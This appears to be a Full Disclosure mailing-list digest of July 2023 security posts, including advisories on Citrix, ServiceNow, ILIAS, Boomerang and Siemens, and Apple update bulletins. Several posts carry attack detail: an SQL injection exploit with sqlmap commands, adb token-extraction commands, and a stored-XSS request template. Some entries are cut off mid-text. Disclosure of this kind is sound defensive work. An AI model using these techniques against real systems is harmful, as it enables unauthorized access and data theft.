[FD] [tool] tc - anonymous and cyphered chat over Tor circuits in PGP

2023-07-07 Thread 0xf--- via Fulldisclosure


Hello,

tc is a low-tech free software to chat anonymously and cyphered over
Tor circuits in PGP. Use it to protected your communication end-to-end
with RSA/DSA encryption and keep yourself anonymously reachable by
anyone who only know your .onion address and your public key. All this
and more in 2400 lines of C code that compile and run on BSD and Linux
systems with an IRC like GUI.

It's a minimal, easy to customize unix tool that I write to overcome
control, voyeurism and censorship avoiding platforms, logging and data
retention.

site: r4f5fajp2oiuhjqyass3nogu55sivxnc42fnwankiynf6o5jpno6exad.onion/tc.html
mirror: https://packetstormsecurity.com/files/172562/tc-Tor-Chat-Client.html

Good night and good luck,
f.
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[FD] Citrix Gateway & Cloud MFA - Insufficient Session Validation Vulnerability

2023-07-07 Thread i...@esec-service.de

Document Title:
===
Citrix Gateway&Cloud MFA - Insufficient Session Validation Vulnerability


References (Source):

https://www.vulnerability-lab.com/get_content.php?id=2324

Vulnerability 
Magazine:https://www.vulnerability-db.com/?q=articles/2023/07/03/citrix-gateway-cloud-mfa-insufficient-session-validation-vulnerability

Security Video: (Cloud)
https://www.youtube.com/watch?v=vObgOpGpCSM

Security Video: (OnPrem)
https://www.youtube.com/watch?v=RFjRgiW2OWE


Release Date:
=
2023-07-03


Vulnerability Laboratory ID (VL-ID):

2324


Common Vulnerability Scoring System:

5


Vulnerability Class:

Insufficient Session Validation


Current Estimated Price:

2.000€ - 3.000€


Product & Service Introduction:
===
Cloud Software Group's NetScaler and NetScaler Gateway, previously better known 
as Citrix ADC and Citrix Gateway (and hereafter referred to as Citrix *)
provides secure and reliable access to web applications, enterprise 
applications and corporate data.

"Citrix Gateway consolidates remote access infrastructure to provide single 
sign-on for all apps, whether in a data center, in a cloud, or
if the apps are deployed as SaaS apps. It allows users to access any app from 
any device through a single URL. Citrix Gateway is easy to
deploy and easy to manage. The most typical deployment configuration is to 
place the Citrix Gateway appliance in the DMZ. You can install
multiple Citrix Gateway appliances on the network for more complex deployments."

(Copy of the Homepage:https://docs.citrix.com/de-de/citrix-gateway.html  )

"Many companies restrict website access to valid users only, and control the 
level of access permitted to each user.
The authentication, authorization, and auditing feature allows a site 
administrator to manage access controls with the NetScaler appliance
instead of managing these controls separately for each application. Doing 
authentication on the appliance also permits sharing this
information across all websites within the same domain that are protected by the 
appliance."

(Copy of the 
Homepage:https://docs.netscaler.com/en-us/citrix-adc/current-release/aaa-tm.html  
&https://citrix.cloud.com  &https://cloud.citrix.com)


Abstract Advisory Information:
==
The vulnerability laboratory core research team discovered a web vulnerability in 
the official Citrix Gateway (ADC/NetScaler) 13.0 & 13.1 web-application, Cloud 
and AAA Feature.


Affected Product(s):
===
Manufacturer:   
Citrix/Cloud Software Group

Products:   
Citrix ADC/NetScaler 13.0 & 13.1
Citrix Gateway/Netscaler Gateway 13.0 & 13.1
Citrix Cloud Services Website
Possibly also earlier versions


Vulnerability Disclosure Timeline:
==
2023-03-27: Researcher Notification & Coordination (Security Researcher)
2023-04-24: Vendor Notification (Security Department)
2023-04-26: Vendor Response/Feedback #1 (Security Department)
2023-04-27: Vendor Response/Feedback #2 (Security Department)
2023-05-04: Vendor Response/Feedback #2 (Security Department)
2023-**-**: Security Acknowledgements (Security Department)
2023-**-**: Vendor Fix/Patch by Check (Service Developer Team)
2023-07-03: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=
Published


Exploitation Technique:
===
Remote


Severity Level:
===
Medium


Authentication Type:

Restricted Authentication (User Privileges)


User Interaction:
=
No User Interaction


Disclosure Type:

Responsible Disclosure


Technical Details & Description:

An insufficient session validation web vulnerability was discovered in the Citrix 
Gateway (ADC/NetScaler) 13.0 & 13.1 web-application, Cloud and AAA Feature.
The security vulnerability allows remote attackers to bypass the mfa function 
by hijacking the session data of an active user (non expired session) to 
followup
with further compromising attacks.

The insufficient session validation vulnerability is located in the Citrix 
Gateway login without web-application firewall (waf) and the Citrix Gateway 
login with
web-application firewall (waf). Attackers can access the applications behind 
the Citrix Gateway without authentication after compromising a client by 
extract of a
specific generated access cookie.In the onprem version of Citrix ADC and Citrix 
Gateway it is only required to hijack the NSC_AAAC cookie for unauthorized 
access
through the Citrix Gateway. To gain access to a AAA protected webservices it is 
required to hijack the NSC_TMAS cookie.

The security issue is not only exploitable in the onprem version of Citrix ADC 
and Citrix Gateway, but as well in the Citrix Cloud Services Website.
For Citrix Cloud S

[FD] SQLi - Faculty Evaluation System

2023-07-07 Thread Andrey Stoykov
# Exploit Title: Faculty Evaluation System - SQL Injection
# Date: 07/2023
# Exploit Author: Andrey Stoykov
# Version: 1.0
# Tested on: Windows Server 2022


SQLi #1

File: edit_evaluation

Line #4
$qry = $conn->query("SELECT * FROM ratings where id =
".$_GET['id'])->fetch_array();
[...]


SQLi #2

File: view_faculty.php

Line #4

// Add "id" parameter after "view_faculty" parameter then add equals "id"
with integer
[...]
$qry = $conn->query("SELECT *,concat(firstname,' ',lastname) as name FROM
faculty_list where id = ".$_GET['id'])->fetch_array();
[...]


Steps to Exploit:

1. Login to application
2. Browse to following URI "
http://host/eval/index.php?page=view_faculty&id=1";
3. Copy request to intercept proxy to file
4. Exploit using SQLMap


sqlmap -r test.txt  --threads 1 --dbms=mysql --fingerprint

[...]
[INFO] testing MySQL
[INFO] confirming MySQL
[INFO] the back-end DBMS is MySQL
[INFO] actively fingerprinting MySQL
[INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
   comment injection fingerprint: MySQL 5.6.49
   fork fingerprint: MariaDB
[...]
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[FD] APPLE-SA-2023-06-21-1 Safari 16.5.1

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-1 Safari 16.5.1

Safari 16.5.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213816.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

WebKit
Available for: macOS Monterey
Impact: Processing maliciously crafted web content may lead to arbitrary
code execution. Apple is aware of a report that this issue may have been
actively exploited.
Description: A type confusion issue was addressed with improved checks.
WebKit Bugzilla: 256567
CVE-2023-32439: an anonymous researcher

Safari 16.5.1 may be obtained from the Mac App Store.
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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[FD] APPLE-SA-2023-06-21-2 iOS 16.5.1 and iPadOS 16.5.1

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-2 iOS 16.5.1 and iPadOS 16.5.1

iOS 16.5.1 and iPadOS 16.5.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213814.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

Kernel
Available for: iPhone 8 and later, iPad Pro (all models), iPad Air 3rd
generation and later, iPad 5th generation and later, iPad mini 5th
generation and later
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

WebKit
Available for: iPhone 8 and later, iPad Pro (all models), iPad Air 3rd
generation and later, iPad 5th generation and later, iPad mini 5th
generation and later
Impact: Processing maliciously crafted web content may lead to arbitrary
code execution. Apple is aware of a report that this issue may have been
actively exploited.
Description: A type confusion issue was addressed with improved checks.
WebKit Bugzilla: 256567
CVE-2023-32439: an anonymous researcher

This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/  iTunes and Software Update on the
device will automatically check Apple's update server on its weekly
schedule. When an update is detected, it is downloaded and the option
to be installed is presented to the user when the iOS device is
docked. We recommend applying the update immediately if possible.
Selecting Don't Install will present the option the next time you
connect your iOS device.  The automatic update process may take up to
a week depending on the day that iTunes or the device checks for
updates. You may manually obtain the update via the Check for Updates
button within iTunes, or the Software Update on your device.  To
check that the iPhone, iPod touch, or iPad has been updated:  *
Navigate to Settings * Select General * Select About. The version
after applying this update will be "iOS 16.5.1 and iPadOS 16.5.1".
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
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[FD] APPLE-SA-2023-06-21-3 iOS 15.7.7 and iPadOS 15.7.7

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-3 iOS 15.7.7 and iPadOS 15.7.7

iOS 15.7.7 and iPadOS 15.7.7 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213811.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

This document describes the security content of iOS 15.7.7 and iPadOS
15.7.7.

Kernel
Available for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE
(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch
(7th generation)
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

WebKit
Available for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE
(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch
(7th generation)
Impact: Processing maliciously crafted web content may lead to arbitrary
code execution. Apple is aware of a report that this issue may have been
actively exploited.
Description: A type confusion issue was addressed with improved checks.
WebKit Bugzilla: 256567
CVE-2023-32439: an anonymous researcher

WebKit
Available for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE
(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch
(7th generation)
Impact: Processing web content may lead to arbitrary code execution.
Apple is aware of a report that this issue may have been actively
exploited against versions of iOS released before iOS 15.7.
Description: A memory corruption issue was addressed with improved state
management.
WebKit Bugzilla: 251890
CVE-2023-32435: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky


All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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[FD] APPLE-SA-2023-06-21-4 macOS Ventura 13.4.1

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-4 macOS Ventura 13.4.1

macOS Ventura 13.4.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213813.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

Kernel
Available for: macOS Ventura
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

WebKit
Available for: macOS Ventura
Impact: Processing maliciously crafted web content may lead to arbitrary
code execution. Apple is aware of a report that this issue may have been
actively exploited.
Description: A type confusion issue was addressed with improved checks.
WebKit Bugzilla: 256567
CVE-2023-32439: an anonymous researcher

macOS Ventura 13.4.1 may be obtained from the Mac App Store or
Apple's Software Downloads web site:
https://support.apple.com/downloads/
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
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[FD] APPLE-SA-2023-06-21-5 macOS Monterey 12.6.7

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-5 macOS Monterey 12.6.7

macOS Monterey 12.6.7 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213810.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

Kernel
Available for: macOS Monterey
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

macOS Monterey 12.6.7 may be obtained from the Mac App Store or
Apple's Software Downloads web site:
https://support.apple.com/downloads/
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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[FD] APPLE-SA-2023-06-21-6 macOS Big Sur 11.7.8

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-6 macOS Big Sur 11.7.8

macOS Big Sur 11.7.8 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213809.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

Kernel
Available for: macOS Big Sur
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

macOS Big Sur 11.7.8 may be obtained from the Mac App Store or
Apple's Software Downloads web site:
https://support.apple.com/downloads/
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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[FD] APPLE-SA-2023-06-21-7 watchOS 9.5.2

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-7 watchOS 9.5.2

watchOS 9.5.2 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213812.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

Kernel
Available for: Apple Watch Series 4 and later
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

Instructions on how to update your Apple Watch software are available
at https://support.apple.com/kb/HT204641  To check the version on
your Apple Watch, open the Apple Watch app on your iPhone and select
"My Watch > General > About".  Alternatively, on your watch, select
"My Watch > General > About".
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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[FD] APPLE-SA-2023-06-21-8 watchOS 8.8.1

2023-07-07 Thread Apple Product Security via Fulldisclosure
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

APPLE-SA-2023-06-21-8 watchOS 8.8.1

watchOS 8.8.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/kb/HT213808.

Apple maintains a Security Updates page at
https://support.apple.com/HT201222 which lists recent
software updates with security advisories.

Kernel
Available for: Apple Watch Series 3, Series 4, Series 5, Series 6,
Series 7, and SE
Impact: An app may be able to execute arbitrary code with kernel
privileges. Apple is aware of a report that this issue may have been
actively exploited against versions of iOS released before iOS 15.7.
Description: An integer overflow was addressed with improved input
validation.
CVE-2023-32434: Georgy Kucherin (@kucher1n), Leonid Bezvershenko
(@bzvr_), and Boris Larin (@oct0xor) of Kaspersky

Instructions on how to update your Apple Watch software are available
at https://support.apple.com/kb/HT204641  To check the version on
your Apple Watch, open the Apple Watch app on your iPhone and select
"My Watch > General > About".  Alternatively, on your watch, select
"My Watch > General > About".
All information is also posted on the Apple Security Updates
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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[FD] ServiceNow Account Takeover to Full Admin Compromise

2023-07-07 Thread Luke Symons
1. INFORMATION

--

[+] CVE: CVE-2022-43684

[+] Title : Insecure Access Control To Full Admin Compromise

[+] Vendor : ServiceNow

[+] Publication date   : June 2023

[+] Credits: Luke Symons, Tony Wu, Eldar Marcussen, Gareth
Phillips, Jeff Thomas, Nadeem Salim, and Stephen Bradshaw.




2. AFFECTED VERSIONS



* Quebec prior to Patch 10 Hot Fix 8b

* Rome prior to Patch 10 Hot Fix 1

* San Diego prior to Patch 7

* Tokyo prior to Tokyo Patch 1; and

* Utah prior to Utah General Availability




3. DETAILS

--

ServiceNow is a cloud-based platform that provides service management
software as a service (SaaS). It is used by a millions of companies
worldwide, and specializes in IT Service Management (ITSM), IT Operations
Management (ITOM), and IT Business Management (ITBM). It allows users to
manage incidents, service requests, problems, and changes within the IT
infrastructure of a business. It also provides a self-service portal where
end users can request IT services and log issues. During a security audit
it was identified that a threat actor could exploit a access control issue
and a number of other vulnerabilities and chain them together in a
ServiceNow instance leading to an effective account takeover to obtain
administrative access on the platform as a low privileged user.


An XHR request to xmlhttp.do with the "ChartDataProcessor" processor in the
POST request allows the enumeration of the ServiceNow GQL database,
including read access to the `sys_user_session` and `sys_user_token`
tables, which provide the necessary information to generate valid
`glide_user_activity` and `glide_session_store` cookies, and the
X-Usertoken header to allow privilege escalation to any previously
authenticated user.



4. Information



A blog writeup detailing the vulnerablties and issues aswell as a proof of
concept can be accessed at
https://x64.sh/posts/ServiceNow-Insecure-access-control-to-admin/


5. Remediation



ServiceNow has released patches and an upgrade that address an Access
Control List (ACL) bypass issue in ServiceNow Core functionality.
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[FD] SEC Consult SA-20230627-0 :: Multiple high risk vulnerabilities in ILIAS eLearning platform

2023-07-07 Thread SEC Consult Vulnerability Lab, Research via Fulldisclosure
SEC Consult Vulnerability Lab Security Advisory < 20230627-0 >
===
   title: Multiple high risk vulnerabilities
 product: ILIAS eLearning platform
  vulnerable version: see section "Vulnerable version" below
   fixed version: see section "Solution" below
  CVE number: -
  impact: High
homepage: https://www.ilias.de
   found: 2022-12-28
  by: Armin Stock (Atos)
  SEC Consult Vulnerability Lab

  An integrated part of SEC Consult, an Eviden business
  Europe | Asia

  https://www.sec-consult.com

===

Vendor description:
---
"Around since 1998, ILIAS is a powerful learning management system that fulfills
all your requirements. Using its integrated tools, small and large businesses,
universities, schools and public authorities are able to create tailored,
individual learning scenarios."

Source: https://www.ilias.de/en/


Business recommendation:

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the 
product
conducted by security professionals to identify and resolve potential further
security issues.


Vulnerability overview/description:
---
1) Authenticated remote code execution (ilObjRoleGUI)
The function `changeExistingObjectsObject` of the class `ilObjRoleGUI` passes
user-controlled data to the `unserialize` function.

---
# FILE: Services/AccessControl/classes/class.ilObjRoleGUI.php
/**
  * Change existing objects
  * @return
  */
protected function changeExistingObjectsObject()
{
 global $DIC;

 $tree = $DIC['tree'];
 $rbacreview = $DIC['rbacreview'];
 $rbacadmin = $DIC['rbacadmin'];

 $mode = (int) $_POST['mode'];
 $start = ($this->obj_ref_id == ROLE_FOLDER_ID ? ROOT_FOLDER_ID : 
$this->obj_ref_id);

 $this->object->changeExistingObjects($start, $mode, 
unserialize(ilUtil::stripSlashes($_POST['type_filter'])));

 ilUtil::sendSuccess($this->lng->txt('settings_saved'), true);
 $this->ctrl->redirect($this, 'perm');
}
---

The user-controlled `POST` parameter `type_filter` is passed to the
`unserialize` function. The function `ilUtil::stripSlashes` only tries to
protect against `HTML injection` and does not interfere with the serialized 
payload.

To be able to exploit this vulnerability it is required to have 
`edit_permission`
on an object, which supports the `ilPermissionGUI` command and has a `ref_id`.
Also an `obj_id` of a role is required. As an example the `course` object is 
used.

---
# FILE: Services/AccessControl/classes/class.ilPermissionGUI.php
public function executeCommand()
{
 global $DIC;

 $rbacsystem = $DIC['rbacsystem'];
 $ilErr = $DIC['ilErr'];


 if (!$rbacsystem->checkAccess("edit_permission", 
$this->gui_obj->object->getRefId())) {
 $ilErr->raiseError($this->lng->txt("permission_denied"), 
$ilErr->MESSAGE);
 }

 $next_class = $this->ctrl->getNextClass($this);

 switch ($next_class) {
 case "ilobjrolegui":
 $this->ctrl->setReturn($this, 'perm');
 
include_once("Services/AccessControl/classes/class.ilObjRoleGUI.php");
 $this->gui_obj = new ilObjRoleGUI("", (int) $_GET["obj_id"], 
false, false);
 $ret = $this->ctrl->forwardCommand($this->gui_obj);
 break;
---


2) ilUtil::renameExecutables bypass allows PHP code execution
The ILIAS platform uses the function `ilUtils::renameExecutables` in the
`ilFileSystemGUI` class (used to upload or unzip files for various objects), to
prevent the upload of executable files like `.php`.


# File: ILIAS-7.17\Services\FileSystem\classes\class.ilFileSystemGUI.php
/**
* delete object file
*/
public function unzipFile($a_file = null)
{
 # ...
 if (@is_file($a_file)) {
 include_once("./Services/Utilities/classes/class.ilFileUtils.php");
 $cur_files = array_keys(ilUtil::getDir($cur_dir));
 $cur_files_r = iterator_to_array(new RecursiveIteratorIterator(new 
RecursiveDirectoryIterator($cur_dir)));

 if ($this->getAllowDirectories()) {
 ilUtil::unzip($a_file, true);
 } else {
 ilUtil::unzip($a_file, true, true);
 }
 # ...
 }
 # Call to renameExecutables, after a ZIP file has be unzipped
 i

[FD] SEC Consult SA-20230628-0 :: Stored XSS & Privilege Escalation in Boomerang Parental Control App

2023-07-07 Thread SEC Consult Vulnerability Lab, Research via Fulldisclosure
SEC Consult Vulnerability Lab Security Advisory < 20230628-0 >
===
   title: Stored XSS & Privilege Escalation
 product: Boomerang Parental Control App
  vulnerable version: <13.83
   fixed version: >=13.83 (only issue 1), rest not fixed
  CVE number: CVE-2023-36620, CVE-2023-36621
  impact: High
homepage: https://nationaledtech.com
   found: 2022-09-29
  by: Fabian Densborn (Office Vienna)
  Bernhard Gründling (Office Vienna)
  SEC Consult Vulnerability Lab

  An integrated part of SEC Consult, an Eviden business
  Europe | Asia

  https://www.sec-consult.com

===

Vendor description:
---
"National Education Technologies Inc. is a manufacturer of mobile
applications. Their portfolio ranges from parental control apps, to
safe browsing apps, to digital wellbeing apps."

Source: https://nationaledtech.com


Business recommendation:

The vendor only provides an update for one of the identified security issues,
but it effectively reduces the risk of some of the other vulnerabilities, which
are currently not fixed yet. The vendor could not provide a timeline when the
rest of the issues will be patched.
If possible, limit the possibility to boot into Android safe mode. Otherwise
children are always able to bypass any restrictions.

An in-depth security analysis performed by security professionals is
highly advised, to identify and resolve potential further critical security
issues.


Vulnerability overview/description:
---
1) ADB Backup allowed (CVE-2023-36620)
The app is missing the android:allowBackup="false" attribute in the
manifest which allows the user to backup the internal memory of the
app to a PC. This gives the user access to the device (in case ADB is enabled)
and API token which are used to authenticate requests to the API.

2) Stored XSS
The customizable name of the child's device can be used to trigger a XSS
payload in the parent web dashboard. Children might be able to attack
their parents' account.

3) Trigger parent control functions from child device (Privilege Escalation)
A device token in the form of a UUID is used as a session token for the parent
and the child device. The parent device token is leaked on an endpoint which
is accessible by the child, which is equivalent to leaking the session token.
This token can then be used to authenticate requests to the API and get the same
access rights as the parent. This would allow a child to bypass restrictions
and access device settings.

4) Disable Child App Restriction without Parent's notice (CVE-2023-36621)
The child can remove all restrictions temporarily or uninstall the application
without the parents noticing.


Proof of concept:
-
1) ADB Backup allowed (CVE-2023-36620)
The internals of the app can be backed up to a PC by connecting the device
and running the following commands. As a prerequisite, the ADB feature
must be enabled or being used via recovery. Children could bypass any Android
setting restrictions via vulnerability 3).


adb backup -apk com.nationaledtech.Boomerang
dd if=backup.ab bs=24 skip=1 | zlib-flate -uncompress | tar xf -


The internal data contains the device and API token which are used to
communicate with the API.


2) Stored XSS
As the internal memory including the device and API token is backup-able (see 
1),
it is possible to construct arbitrary requests to the API in the name
of the child. The following payload can be used to change the device name
and trigger an alert box in the dashboard of the parent:


POST /services/DeviceService.svc/RenameDevice HTTP/1.1
Accept: application/json
Content-Type: application/json;charset=UTF-8
Content-Length: 1470
Host: app.useboomerang.com

{
 "DeviceToken": ,
 "ApiToken": ,
 "DeviceTitle":"\"\/>",
 "TargetDeviceToken": 
}



3) Access parent control functions from child device (Privilege Escalation)
When visiting the Family Messenger Tab within the application on the device, a 
GET
request to API endpoint `/services/FamilyService.svc/GetAllFamilyDevices` will 
be
sent and the response contains all DeviceTokens associated with the account
(including the ones of parent devices).

To be able to query the `/services/FamilyService.svc/GetAllFamilyDevices`
endpoint an attacker first needs to backup their device and get access to their
own device 

[FD] SEC Consult Vulnerability Lab Whitepaper: Everyone Knows SAP®, Everyone Uses SAP, Everyone Uses RFC, No One Knows RFC: From RFC to RCE 16 Years Later

2023-07-07 Thread SEC Consult Vulnerability Lab, Research via Fulldisclosure
SEC Consult Vulnerability Lab Whitepaper < 20230629-0 >
===
  Title: Everyone Knows SAP®, Everyone Uses SAP,
 Everyone Uses RFC, No One Knows RFC:
 From RFC to RCE 16 Years Later
  Researcher: Fabian Hagg (Office Vienna)
  SEC Consult Vulnerability Lab

  An integrated part of SEC Consult, an Eviden business
  Europe | Asia

  https://www.sec-consult.com
===

In an independent analysis on the server-side implementation of the proprietary
Remote Function Call (RFC) interface in SAP NetWeaver Application Server ABAP
and ABAP Platform (both hereinafter referred to as AS ABAP), a set of 
high-impact
implementation bugs and design flaws were identified by SEC Consult 
Vulnerability
Lab security researcher and SAP security expert Fabian Hagg. Technical details
about the research results are presented during the annual Troopers Security
Conference 2023 in Heidelberg, Germany.

Remote Function Call (RFC) is a proprietary communication protocol required for
all systems operating the SAP® Application Server for ABAP®, making it one of 
the
most appealing targets for attacks on business-critical SAP system landscapes.
With the talk ”Attacking the Giants: Exploiting SAP Internals” presented by M.
Nunez at Black Hat Europe 2007, the protocol reached the security research 
community
for the first time. Nowadays, SAP systems became increasingly interconnected not
only internally, but also across network trust boundaries. This circumstance 
results
in enterprises relying on the RFC interface technology and its codebase more 
than
ever.

The present paper reports on an independent analysis of the protocol as it is 
used
in SAP NetWeaver® Application Server ABAP and ABAP Platform for server-to-server
communication of type ’3’. By employing a hybrid security testing approach 
combining
static and dynamic analysis techniques, the objective of this research in 
re-assessing
the RFC attack surface yielded alternate logon material, cryptographic failures,
memory corruptions, and ABAP programming pitfalls. This paper examines each of 
the
identified vulnerabilities, demystifying somewhat forgotten inner workings of 
the
protocol and key security mechanisms to highlight novel attack vectors and a 
wormable
exploitation chain.

Technical whitepaper: https://r.sec-consult.com/saprfcwhite
Short blog post summary: https://r.sec-consult.com/saprfcblog
TROOPERS23 conference page: https://troopers.de/troopers23/talks/n7yuqg/


~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~

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Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
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[FD] SEC Consult SA-20230703-0 :: Multiple Vulnerabilities including Unauthenticated RCE in Siemens A8000

2023-07-07 Thread SEC Consult Vulnerability Lab, Research via Fulldisclosure
SEC Consult Vulnerability Lab Security Advisory < 20230703-0 >
===
   title: Multiple Vulnerabilities including Unauthenticated RCE
 product: Siemens A8000 CP-8050 MASTER MODULE (6MF2805-0AA00)
  Siemens A8000 CP-8031 MASTER MODULE (6MF2803-1AA00)
  vulnerable version: <= V04.92
   fixed version: CPCI85 V05
  CVE number: CVE-2023-28489, CVE-2023-33919, CVE-2023-33920,
  CVE-2023-33921
  impact: Critical
homepage: https://www.siemens.com
   found: 2023-02-15
  by: Stefan Viehböck (Office Vienna)
  Christian Hager (Office Vienna)
  Steffen Robertz (Office Vienna)
  Gerhard Hechenberger (Office Vienna)
  Gorazd Jank (Office Vienna)
  Constantin Schieber-Knoebl (Office Vienna)
  SEC Consult Vulnerability Lab

  An integrated part of SEC Consult, an Eviden business
  Europe | Asia

  https://www.sec-consult.com

===

Vendor description:
---
"We are a technology company focused on industry, infrastructure,
transport, and healthcare. From more resource-efficient factories,
resilient supply chains, and smarter buildings and grids, to cleaner
and more comfortable transportation as well as advanced healthcare,
we create technology with purpose adding real value for customers."

Source: https://new.siemens.com/global/en/company/about.html


Business recommendation:

The vendor provides a patch which should be installed immediately.
Customers should update to CPCI85 V05 or later version.
(https://support.industry.siemens.com/cs/ww/en/view/109804985/)

SEC Consult highly recommends to perform a thorough security review of
the product conducted by security professionals to identify and resolve
potential further security issues.


Vulnerability overview/description:
---
1) Unauthenticated Remote Code Execution (CVE-2023-28489)
By sending an HTTP request with a crafted header to port 80/443 of
the PLC, arbitrary commands can be executed as system user. The port
is used to configure and control Siemens PLCs with the Siemens
Toolbox II application and is typically accessible on such devices.

2) Authenticated Command Injection (CVE-2023-33919)
Due to missing server-side input sanitation, any user with access to
the SICAM WEB interface can execute arbitrary commands as user "root"
